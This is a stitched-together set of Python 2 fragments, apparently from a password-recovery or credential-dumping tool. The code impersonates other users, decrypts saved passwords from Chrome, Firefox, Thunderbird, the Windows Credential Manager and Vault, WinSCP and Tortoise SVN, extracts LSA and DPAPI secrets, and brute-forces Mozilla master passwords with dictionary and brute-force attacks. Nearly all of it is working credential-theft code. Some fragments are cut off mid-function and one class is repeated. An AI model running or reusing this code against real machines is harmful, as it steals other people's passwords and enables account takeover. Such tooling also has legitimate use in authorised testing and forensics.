all_users = get_user_list_on_filesystem(impersonated_user) for user in all_users: set_env_variables(user, toImpersonate=True) print_debug( 'INFO', '[!] Trying to impersonate user: %s' % user.encode('utf-8', errors='ignore')) print '\n\n########## User: %s ##########\n' % user.encode( 'utf-8', errors='ignore') # Fix value by default for user environnment (appdata and userprofile) constant.finalResults = {'User': user} yield 'User', user # Retrieve passwords that need high privileges for r in runModule(category_choosed, not_need_to_be_in_env=True): yield r stdoutRes.append(constant.finalResults)
def root_access(self): if os.getuid() != 0: print_debug('WARNING', 'You need more privileges (run it with sudo)') return False return True
return 'failed' def run(self, software_name=None): a = self.get_creds() pwd = '' pwdFound = [] if a: for i in a: values = {} if i['Type'] == win32cred.CRED_TYPE_DOMAIN_VISIBLE_PASSWORD: cipher_text = i['CredentialBlob'] pwd = self.Win32CryptUnprotectData(cipher_text, self.get_entropy()) if pwd != 'failed': values['URL'] = i['TargetName'] if i['UserName'] is not None: values['Login'] = i['UserName'] try: values['Password'] = pwd.decode('utf16') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) values['INFO'] = 'Error decoding the password' pwdFound.append(values) return pwdFound else: print_debug('INFO', 'No credentials listed with the enum cred function')
def run(self, software_name=None): file_properties = self.get_path() if not file_properties: print_debug('INFO', 'Jitsi not installed.') else: return self.get_info(file_properties)
def run(self, software_name=None): pwdFound = [] paths = [ u'{homedrive}{homepath}\\Local Settings\\Application Data\\Google\\Chrome\\User Data' .format(homedrive=constant.profile['HOMEDRIVE'], homepath=constant.profile['HOMEPATH']), u'{localappdata}\\Google\\Chrome\\User Data'.format( localappdata=constant.profile['LOCALAPPDATA']), ] for path in paths: if os.path.exists(path): # list all users profile profiles = [] if os.path.exists(os.path.join(path, u'Local State')): with open(os.path.join(path, u'Local State')) as file: try: data = json.load(file) for profile in data['profile']['info_cache']: profiles.append(profile) except: pass if not profiles: profiles.append('Default') for profile in profiles: random_dbname = '' database_path = os.path.join(path, profile, u'Login Data') if not os.path.exists(database_path): print_debug('INFO', 'User database not found') continue # Copy database before to query it (bypass lock errors) try: random_dbname = ''.join([ random.choice(string.ascii_lowercase) for x in range(0, random.randint(6, 12)) ]) shutil.copy( database_path, os.path.join(unicode(tempfile.gettempdir()), random_dbname)) database_path = os.path.join( unicode(tempfile.gettempdir()), random_dbname) except Exception: print_debug('DEBUG', traceback.format_exc()) # Connect to the Database try: conn = sqlite3.connect(database_path) cursor = conn.cursor() except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'ERROR', 'An error occured opening the database file') continue # Get the results try: cursor.execute( 'SELECT action_url, username_value, password_value FROM logins' ) except: continue for result in cursor.fetchall(): try: # Decrypt the Password password = Win32CryptUnprotectData(result[2]) pwdFound.append({ 'URL': result[0], 'Login': result[1], 'Password': password }) except Exception, e: print_debug('DEBUG', traceback.format_exc()) conn.close() if database_path.endswith(random_dbname): os.remove(database_path)
for result in cursor.fetchall(): values = {} # Decrypt the Password password = win32crypt.CryptUnprotectData( result[2], None, None, None, 0)[1] if password: values['URL'] = result[0] values['Login'] = result[1] values['Password'] = password pwdFound.append(values) return pwdFound else: print_debug( 'INFO', 'No passwords stored\nThe database Login Data is not present.') def masterPasswordUsed(self, path): # the init file is not well defined so lines have to be removed before to parse it cp = RawConfigParser() f = open(path + os.sep + 'operaprefs.ini', 'rb') f.readline() # discard first line while 1: try: cp.readfp(f) break except Exception, e: print_debug('DEBUG', '{0}'.format(e))
def run(self, software_name=None): global database_find database_find = False self.manage_advanced_options() specific_path = constant.specific_path # get the installation path path = self.get_path(software_name) #Check if mozilla folder has been found if not os.path.exists(path): print_debug('INFO', software_name + ' not installed.') return else: if specific_path: if os.path.exists(specific_path): profile_list = [specific_path] else: print_debug( 'WARNING', 'The following file does not exist: %s' % specific_path) return else: profile_list = self.get_firefox_profiles(path) pwdFound = [] for profile in profile_list: print_debug('INFO', 'Profile path found: %s' % profile) if not os.path.exists(profile + os.sep + 'key3.db'): print_debug('WARNING', 'key3 file not found: %s' % self.key3) continue self.key3 = self.readBsddb(os.path.join(profile, u'key3.db')) if not self.key3: continue # check if passwords are stored on the Json format try: credentials = JsonDatabase(profile) except: database_find = False if not database_find: # check if passwords are stored on the sqlite format try: credentials = SqliteDatabase(profile) except: database_find = False if database_find: masterPassword = '' (globalSalt, masterPassword, entrySalt ) = self.is_masterpassword_correct(masterPassword) # find masterpassword if set if not globalSalt: print_debug('WARNING', 'Master Password is used !') masterPassword = self.found_masterpassword() if not masterPassword: continue # get user secret key key = self.extractSecretKey(globalSalt, masterPassword, entrySalt) if not key: continue # everything is ready to decrypt password for host, user, passw in credentials: values = {} values["URL"] = host # Login loginASN1 = decoder.decode(b64decode(user)) iv = loginASN1[0][1][1].asOctets() ciphertext = loginASN1[0][2].asOctets() login = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) # remove bad character at the end try: nb = unpack('B', login[-1])[0] values["Login"] = login[:-nb] except: values["Login"] = login # Password passwdASN1 = decoder.decode(b64decode(passw)) iv = passwdASN1[0][1][1].asOctets() ciphertext = passwdASN1[0][2].asOctets() password = DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext) # remove bad character at the end try: nb = unpack('B', password[-1])[0] values["Password"] = password[:-nb] except: values["Password"] = password pwdFound.append(values) return pwdFound
def found_masterpassword(self): # master password entered manually if 'm' in self.toCheck: print_debug('ATTACK', 'Check the password entered manually !') if self.is_masterpassword_correct(self.manually_pass)[0]: print_debug('FIND', 'Master password found: %s' % self.manually_pass) return self.manually_pass else: print_debug('WARNING', 'The Master password entered is not correct') # dictionary attack if 'a' in self.toCheck: try: pass_file = open(self.dictionary_path, 'r') num_lines = sum(1 for line in pass_file) except: print_debug( 'ERROR', 'Unable to open passwords file: %s' % str(self.dictionary_path)) return False pass_file.close() print_debug('ATTACK', 'Dictionary Attack !!! (%s words)' % str(num_lines)) try: with open(self.dictionary_path) as f: for p in f: if self.is_masterpassword_correct(p.strip())[0]: print_debug( 'FIND', 'Master password found: %s' % p.strip()) return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' )
def __init__(self, password=None, pwdhash=None): self.sid = None self.preferred_umkp = None self.dpapi_ok = False self.umkp = None self.smkp = None self.last_masterkey_file = None adding_missing_path = '' # -------------------------- User Information -------------------------- path = build_path('DPAPI') if constant.dump == 'local': adding_missing_path = '/Microsoft' if path: protect_folder = os.path.join(path, 'Roaming{path}/Protect'.format(path=adding_missing_path)) if os.path.exists(protect_folder): for folder in os.listdir(protect_folder): if folder.startswith('S-'): self.sid = folder masterkeydir = os.path.join(protect_folder, self.sid) if os.path.exists(masterkeydir): # user master key pool self.umkp = masterkey.MasterKeyPool() # load all master key files (not only the one contained on preferred) self.umkp.loadDirectory(masterkeydir) preferred_file = os.path.join(masterkeydir, 'Preferred') if os.path.exists(preferred_file): preferred_mk_guid = display_masterkey(open(preferred_file, 'rb')) # Preferred file contains the GUID of the last mastekey created self.last_masterkey_file = os.path.join(masterkeydir, preferred_mk_guid) if os.path.exists(self.last_masterkey_file): print_debug('DEBUG', 'Last masterkey created: {masterkefile}'.format(masterkefile=self.last_masterkey_file)) self.preferred_umkp = masterkey.MasterKeyPool() self.preferred_umkp.addMasterKey(open(self.last_masterkey_file, 'rb').read()) credhist_path = os.path.join(path, 'Roaming{path}/Protect/CREDHIST'.format(path=adding_missing_path)) credhist = credhist_path if os.path.exists(credhist_path) else None if credhist: self.umkp.addCredhistFile(self.sid, credhist) if password: if self.umkp.try_credential(self.sid, password): self.dpapi_ok = True else: print_debug('DEBUG', 'Password not correct: {password}'.format(password=password)) elif pwdhash: if self.umkp.try_credential_hash(self.sid, pwdhash.decode('hex')): self.dpapi_ok = True else: print_debug('DEBUG', 'Hash not correct: {pwdhash}'.format(pwdhash=pwdhash)) # -------------------------- System Information -------------------------- path = build_path('Hives') if path: system = os.path.join(path, 'SYSTEM') security = os.path.join(path, 'SECURITY') if os.path.exists(system) and os.path.exists(security): if os.path.isfile(system) and os.path.isfile(security): reg = registry.Regedit() secrets = None try: secrets = reg.get_lsa_secrets(security, system) except: print_debug('DEBUG', traceback.format_exc()) if secrets: dpapi_system = secrets.get('DPAPI_SYSTEM')["CurrVal"] path = build_path('Dpapi_System') if path: masterkeydir = os.path.join(path, 'Protect', 'S-1-5-18', 'User') if os.path.exists(masterkeydir): self.smkp = masterkey.MasterKeyPool() self.smkp.loadDirectory(masterkeydir) self.smkp.addSystemCredential(dpapi_system) self.smkp.try_credential_hash(None, None)
class Mozilla(ModuleInfo): # b = brute force attack # m = manually # d = default list # a = dictionary attack def __init__(self, isThunderbird=False): self.credentials_categorie = None self.toCheck = [] self.manually_pass = None self.dictionary_path = None self.number_toStop = None self.key3 = '' # Manage options suboptions = [{ 'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 'title': 'Advanced Mozilla master password options' }, { 'command': '-s', 'action': 'store', 'dest': 'specific_path', 'help': 'enter the specific path to a profile you want to crack', 'title': 'Advanced Mozilla master password options' }] if not isThunderbird: options = { 'command': '-f', 'action': 'store_true', 'dest': 'firefox', 'help': 'firefox' } ModuleInfo.__init__(self, 'firefox', 'browsers', options, suboptions, need_to_be_in_env=False) else: options = { 'command': '-t', 'action': 'store_true', 'dest': 'thunderbird', 'help': 'thunderbird' } ModuleInfo.__init__(self, 'thunderbird', 'browsers', options, suboptions, need_to_be_in_env=False) def get_path(self, software_name): path = '' if software_name == 'Firefox': path = '%s\Mozilla\Firefox' % str(constant.profile['APPDATA']) elif software_name == 'Thunderbird': path = '%s\Thunderbird' % str(constant.profile['APPDATA']) return path def manage_advanced_options(self): if constant.manually: self.manually_pass = constant.manually self.toCheck.append('m') if constant.path: self.dictionary_path = constant.path self.toCheck.append('a') if constant.bruteforce: self.number_toStop = int(constant.bruteforce) + 1 self.toCheck.append('b') # default attack if self.toCheck == []: self.toCheck = ['b', 'd'] self.number_toStop = 3 # -------------------------------------------- def getShortLE(self, d, a): return unpack('<H', (d)[a:a + 2])[0] def getLongBE(self, d, a): return unpack('>L', (d)[a:a + 4])[0] def printASN1(self, d, l, rl): type = ord(d[0]) length = ord(d[1]) if length & 0x80 > 0: #http://luca.ntop.org/Teaching/Appunti/asn1.html, nByteLength = length & 0x7f length = ord(d[2]) #Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type == 0x30: seqLen = length readLen = 0 while seqLen > 0: len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) seqLen = seqLen - len2 readLen = readLen + len2 return length + 2 elif type == 6: #OID return length + 2 elif type == 4: #OCTETSTRING return length + 2 elif type == 5: #NULL # print 0 return length + 2 elif type == 2: #INTEGER return length + 2 else: if length == l - 2: self.printASN1(d[2:], length, rl + 1) return length #extract records from a BSD DB 1.85, hash mode def readBsddb(self, name): f = open(name, 'rb') #http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.getLongBE(header, 0) if magic != 0x61561: print_debug('WARNING', 'Bad magic number') return False version = self.getLongBE(header, 4) if version != 2: print_debug('WARNING', 'Bad version !=2 (1.85)') return False pagesize = self.getLongBE(header, 12) nkeys = self.getLongBE(header, 0x38) readkeys = 0 page = 1 nval = 0 val = 1 db1 = [] while (readkeys < nkeys): f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offsetVals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.getShortLE(offsets, 2 + i) val = self.getShortLE(offsets, 4 + i) nval = self.getShortLE(offsets, 8 + i) offsetVals.append(key + pagesize * page) offsetVals.append(val + pagesize * page) readkeys += 1 i += 4 offsetVals.append(pagesize * (page + 1)) valKey = sorted(offsetVals) for i in range(keys * 2): f.seek(valKey[i]) data = f.read(valKey[i + 1] - valKey[i]) db1.append(data) page += 1 f.close() db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): #see http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(globalSalt + masterPassword).digest() pes = entrySalt + '\x00' * (20 - len(entrySalt)) chp = sha1(hp + entrySalt).digest() k1 = hmac.new(chp, pes + entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entrySalt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] saltLen = ord(privKeyEntry[1]) nameLen = ord(privKeyEntry[2]) privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) data = privKeyEntry[3 + saltLen + nameLen:] self.printASN1(data, len(data), 0) #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode(privKey) prKey = privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode(prKey) id = prKeyASN1[0][1] key = long_to_bytes(prKeyASN1[0][3]) print_debug('DEBUG', 'key: %s' % repr(key)) return key # -------------------------------------------- # Get the path list of the firefox profiles def get_firefox_profiles(self, directory): cp = RawConfigParser() try: cp.read(os.path.join(directory, 'profiles.ini')) except: return [] profile_list = [] for section in cp.sections(): if section.startswith('Profile'): if cp.has_option(section, 'Path'): profile_list.append( os.path.join(directory, cp.get(section, 'Path').strip())) return profile_list def save_db(self, userpath): # create the folder to save it by profile relative_path = constant.folder_name + os.sep + 'firefox' if not os.path.exists(relative_path): os.makedirs(relative_path) relative_path += os.sep + os.path.basename(userpath) if not os.path.exists(relative_path): os.makedirs(relative_path) # Get the database name if os.path.exists(userpath + os.sep + 'logins.json'): dbname = 'logins.json' elif os.path.exists(userpath + os.sep + 'signons.sqlite'): dbname = 'signons.sqlite' # copy the files (database + key3.db) try: ori_db = userpath + os.sep + dbname dst_db = relative_path + os.sep + dbname shutil.copyfile(ori_db, dst_db) print_debug('INFO', '%s has been copied here: %s' % (dbname, dst_db)) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', '%s has not been copied' % dbname) try: dbname = 'key3.db' ori_db = userpath + os.sep + dbname dst_db = relative_path + os.sep + dbname shutil.copyfile(ori_db, dst_db) print_debug('INFO', '%s has been copied here: %s' % (dbname, dst_db)) except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug('ERROR', '%s has not been copied' % dbname)
except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' ) # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist) - 1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', 'Master password found: %s' % word.strip()) return word print_debug('WARNING', 'No password has been found using the default list') # brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' print_debug( 'ATTACK', 'Brute force attack !!! (%s characters)' %
def run(self, software_name=None): if float(get_os_version()) <= 6.1: print_debug('DEBUG', 'Vault not supported for this OS') return pwdFound = [] cbVaults = DWORD() vaults = LPGUID() hVault = HANDLE(INVALID_HANDLE_VALUE) cbItems = DWORD() items = c_char_p() if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0: if cbVaults.value == 0: print_debug('INFO', 'No Vaults found') return else: for i in range(cbVaults.value): if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0: if hVault: if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items)) == 0: for j in range(cbItems.value): items8 = cast(items, POINTER(VAULT_ITEM_WIN8)) pItem8 = PVAULT_ITEM_WIN8() try: values = { 'URL': str(items8[j].pResource.contents. data.string), 'Username': str(items8[j].pUsername.contents. data.string) } if items8[j].pName: values['Name'] = items8[j].pName if vaultGetItem8( hVault, byref(items8[j].id), items8[j].pResource, items8[j].pUsername, items8[j].unknown0, None, 0, byref(pItem8)) == 0: password = pItem8.contents.pPassword.contents.data.string if password: values['Password'] = password pwdFound.append(values) except Exception, e: print_debug('DEBUG', str(e)) if pItem8: vaultFree(pItem8) if items: vaultFree(items) vaultCloseVault(byref(hVault)) vaultFree(vaults)
def get_logins_info(self): try: key = OpenKey(HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions') except Exception,e: print_debug('DEBUG', '{0}'.format(e)) return False
class Mozilla(ModuleInfo): # b = brute force attack # m = manually # d = default list # a = dictionary attack def __init__(self, isThunderbird=False): self.credentials_categorie = None self.toCheck = [] self.manually_pass = None self.dictionary_path = None self.number_toStop = None self.key3 = '' # Manage options suboptions = [{ 'command': '-m', 'action': 'store', 'dest': 'manually', 'help': 'enter the master password manually', 'title': 'Advanced Mozilla master password options' }, { 'command': '-s', 'action': 'store', 'dest': 'specific_path', 'help': 'enter the specific path to a profile you want to crack', 'title': 'Advanced Mozilla master password options' }] if not isThunderbird: options = { 'command': '-f', 'action': 'store_true', 'dest': 'firefox', 'help': 'firefox' } ModuleInfo.__init__(self, 'firefox', 'browsers', options, suboptions, need_to_be_in_env=False) else: options = { 'command': '-t', 'action': 'store_true', 'dest': 'thunderbird', 'help': 'thunderbird' } ModuleInfo.__init__(self, 'thunderbird', 'browsers', options, suboptions, need_to_be_in_env=False) def get_path(self, software_name): path = '' if software_name == 'Firefox': path = u'%s\Mozilla\Firefox' % constant.profile['APPDATA'] elif software_name == 'Thunderbird': path = u'%s\Thunderbird' % constant.profile['APPDATA'] return path def manage_advanced_options(self): if constant.manually: self.manually_pass = constant.manually self.toCheck.append('m') if constant.path: self.dictionary_path = constant.path self.toCheck.append('a') if constant.bruteforce: self.number_toStop = int(constant.bruteforce) + 1 self.toCheck.append('b') # default attack if self.toCheck == []: self.toCheck = ['b', 'd'] self.number_toStop = 3 # -------------------------------------------- def getShortLE(self, d, a): return unpack('<H', (d)[a:a + 2])[0] def getLongBE(self, d, a): return unpack('>L', (d)[a:a + 4])[0] def printASN1(self, d, l, rl): type = ord(d[0]) length = ord(d[1]) if length & 0x80 > 0: #http://luca.ntop.org/Teaching/Appunti/asn1.html, nByteLength = length & 0x7f length = ord(d[2]) #Long form. Two to 127 octets. Bit 8 of first octet has value "1" and bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type == 0x30: seqLen = length readLen = 0 while seqLen > 0: len2 = self.printASN1(d[2 + skip + readLen:], seqLen, rl + 1) seqLen = seqLen - len2 readLen = readLen + len2 return length + 2 elif type == 6: #OID return length + 2 elif type == 4: #OCTETSTRING return length + 2 elif type == 5: #NULL # print 0 return length + 2 elif type == 2: #INTEGER return length + 2 else: if length == l - 2: self.printASN1(d[2:], length, rl + 1) return length #extract records from a BSD DB 1.85, hash mode def readBsddb(self, name): f = open(name, 'rb') #http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.getLongBE(header, 0) if magic != 0x61561: print_debug('WARNING', 'Bad magic number') return False version = self.getLongBE(header, 4) if version != 2: print_debug('WARNING', 'Bad version !=2 (1.85)') return False pagesize = self.getLongBE(header, 12) nkeys = self.getLongBE(header, 0x38) readkeys = 0 page = 1 nval = 0 val = 1 db1 = [] while (readkeys < nkeys): f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offsetVals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.getShortLE(offsets, 2 + i) val = self.getShortLE(offsets, 4 + i) nval = self.getShortLE(offsets, 8 + i) offsetVals.append(key + pagesize * page) offsetVals.append(val + pagesize * page) readkeys += 1 i += 4 offsetVals.append(pagesize * (page + 1)) valKey = sorted(offsetVals) for i in range(keys * 2): f.seek(valKey[i]) data = f.read(valKey[i + 1] - valKey[i]) db1.append(data) page += 1 f.close() db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db def decrypt3DES(self, globalSalt, masterPassword, entrySalt, encryptedData): #see http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(globalSalt + masterPassword).digest() pes = entrySalt + '\x00' * (20 - len(entrySalt)) chp = sha1(hp + entrySalt).digest() k1 = hmac.new(chp, pes + entrySalt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entrySalt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return DES3.new(key, DES3.MODE_CBC, iv).decrypt(encryptedData) def extractSecretKey(self, globalSalt, masterPassword, entrySalt): (globalSalt, masterPassword, entrySalt) = self.is_masterpassword_correct(masterPassword) if unhexlify('f8000000000000000000000000000001') not in self.key3: return None privKeyEntry = self.key3[unhexlify('f8000000000000000000000000000001')] saltLen = ord(privKeyEntry[1]) nameLen = ord(privKeyEntry[2]) privKeyEntryASN1 = decoder.decode(privKeyEntry[3 + saltLen + nameLen:]) data = privKeyEntry[3 + saltLen + nameLen:] self.printASN1(data, len(data), 0) #see https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt entrySalt = privKeyEntryASN1[0][0][1][0].asOctets() privKeyData = privKeyEntryASN1[0][1].asOctets() privKey = self.decrypt3DES(globalSalt, masterPassword, entrySalt, privKeyData) self.printASN1(privKey, len(privKey), 0) privKeyASN1 = decoder.decode(privKey) prKey = privKeyASN1[0][2].asOctets() self.printASN1(prKey, len(prKey), 0) prKeyASN1 = decoder.decode(prKey) id = prKeyASN1[0][1] key = long_to_bytes(prKeyASN1[0][3]) print_debug('DEBUG', 'key: %s' % repr(key)) return key # -------------------------------------------- # Get the path list of the firefox profiles def get_firefox_profiles(self, directory): cp = RawConfigParser() try: cp.read(os.path.join(directory, 'profiles.ini')) except: return [] profile_list = [] for section in cp.sections(): if section.startswith('Profile'): if cp.has_option(section, 'Path'): profile_list.append( os.path.join(directory, cp.get(section, 'Path').strip())) return profile_list # ------------------------------ Master Password Functions ------------------------------ def is_masterpassword_correct(self, masterPassword=''): try: #see http://www.drh-consultancy.demon.co.uk/key3.html pwdCheck = self.key3['password-check'] entrySaltLen = ord(pwdCheck[1]) entrySalt = pwdCheck[3:3 + entrySaltLen] encryptedPasswd = pwdCheck[-16:] globalSalt = self.key3['global-salt'] cleartextData = self.decrypt3DES(globalSalt, masterPassword, entrySalt, encryptedPasswd) if cleartextData != 'password-check\x02\x02': return ('', '', '') return (globalSalt, masterPassword, entrySalt) except: return ('', '', '') # Retrieve masterpassword def found_masterpassword(self): # master password entered manually if 'm' in self.toCheck: print_debug('ATTACK', 'Check the password entered manually !') if self.is_masterpassword_correct(self.manually_pass)[0]: print_debug('FIND', 'Master password found: %s' % self.manually_pass) return self.manually_pass else: print_debug('WARNING', 'The Master password entered is not correct') # dictionary attack if 'a' in self.toCheck: try: pass_file = open(self.dictionary_path, 'r') num_lines = sum(1 for line in pass_file) except: print_debug( 'ERROR', 'Unable to open passwords file: %s' % str(self.dictionary_path)) return False pass_file.close() print_debug('ATTACK', 'Dictionary Attack !!! (%s words)' % str(num_lines)) try: with open(self.dictionary_path) as f: for p in f: if self.is_masterpassword_correct(p.strip())[0]: print_debug( 'FIND', 'Master password found: %s' % p.strip()) return p.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('DEBUG', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'The Master password has not been found using the dictionary attack' ) # 500 most used passwords if 'd' in self.toCheck: wordlist = get_dico() + constant.passwordFound num_lines = (len(wordlist) - 1) print_debug('ATTACK', '%d most used passwords !!! ' % num_lines) for word in wordlist: if self.is_masterpassword_correct(word)[0]: print_debug('FIND', 'Master password found: %s' % word.strip()) return word print_debug('WARNING', 'No password has been found using the default list') # brute force attack if 'b' in self.toCheck or constant.bruteforce: charset_list = 'abcdefghijklmnopqrstuvwxyz1234567890!?' print_debug( 'ATTACK', 'Brute force attack !!! (%s characters)' % str(constant.bruteforce)) print_debug('DEBUG', 'charset: %s' % charset_list) try: for length in range(1, int(self.number_toStop)): words = product(charset_list, repeat=length) for word in words: print_debug('DEBUG', '%s' % ''.join(word)) if self.is_masterpassword_correct(''.join(word))[0]: w = ''.join(word) print_debug( 'FIND', 'Master password found: %s' % w.strip()) return w.strip() except (KeyboardInterrupt, SystemExit): print 'INTERRUPTED!' print_debug('INFO', 'Dictionary attack interrupted') except Exception, e: print_debug('DEBUG', '{0}'.format(e)) print_debug( 'WARNING', 'No password has been found using the brute force attack')
print_debug('ERROR', u'{error}'.format(error=e)) break return False pids = [int(x) for x in psutil.pids() if int(x)>4] for pid in pids: try: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) if hProcess: hToken = HANDLE(INVALID_HANDLE_VALUE) if hToken: OpenProcessToken(hProcess, tokenprivs, byref(hToken)) if hToken: if get_token_sid( hToken ) == token_sid: print print_debug('INFO', u'Using PID: ' + str(pid)) CloseHandle(hProcess) return hToken CloseHandle(hToken) CloseHandle(hProcess) except Exception, e : print_debug('ERROR', u'{error}'.format(error=e)) return False def impersonate_sid(sid, close=True): """ Try to impersonate an SID """ hToken = get_sid_token(sid) if hToken:
def run(self, software_name=None): file_path = '' if 'APPDATA' in os.environ: file_path = os.environ.get( 'APPDATA') + '\\Subversion\\auth\\svn.simple' else: print_debug('ERROR', 'The APPDATA environment variable is not definded.') return values = {} pwdFound = [] if os.path.exists(file_path): for root, dirs, files in os.walk(file_path + os.sep): for name_file in files: values = {} f = open(file_path + os.sep + name_file, 'r') url = '' username = '' result = '' i = 0 # password for line in f: if i == -1: result = line.replace('\n', '') break if line.startswith('password'): i = -3 i += 1 i = 0 # url for line in f: if i == -1: url = line.replace('\n', '') break if line.startswith('svn:realmstring'): i = -3 i += 1 i = 0 # username for line in f: if i == -1: username = line.replace('\n', '') break if line.startswith('username'): i = -3 i += 1 # unccrypt the password if result: try: password = win32crypt.CryptUnprotectData( base64.b64decode(result), None, None, None, 0)[1] except: password = '' if password: values['URL'] = url values['Login'] = username values['Password'] = password pwdFound.append(values) return pwdFound else: print_debug('INFO', 'Tortoise not installed.')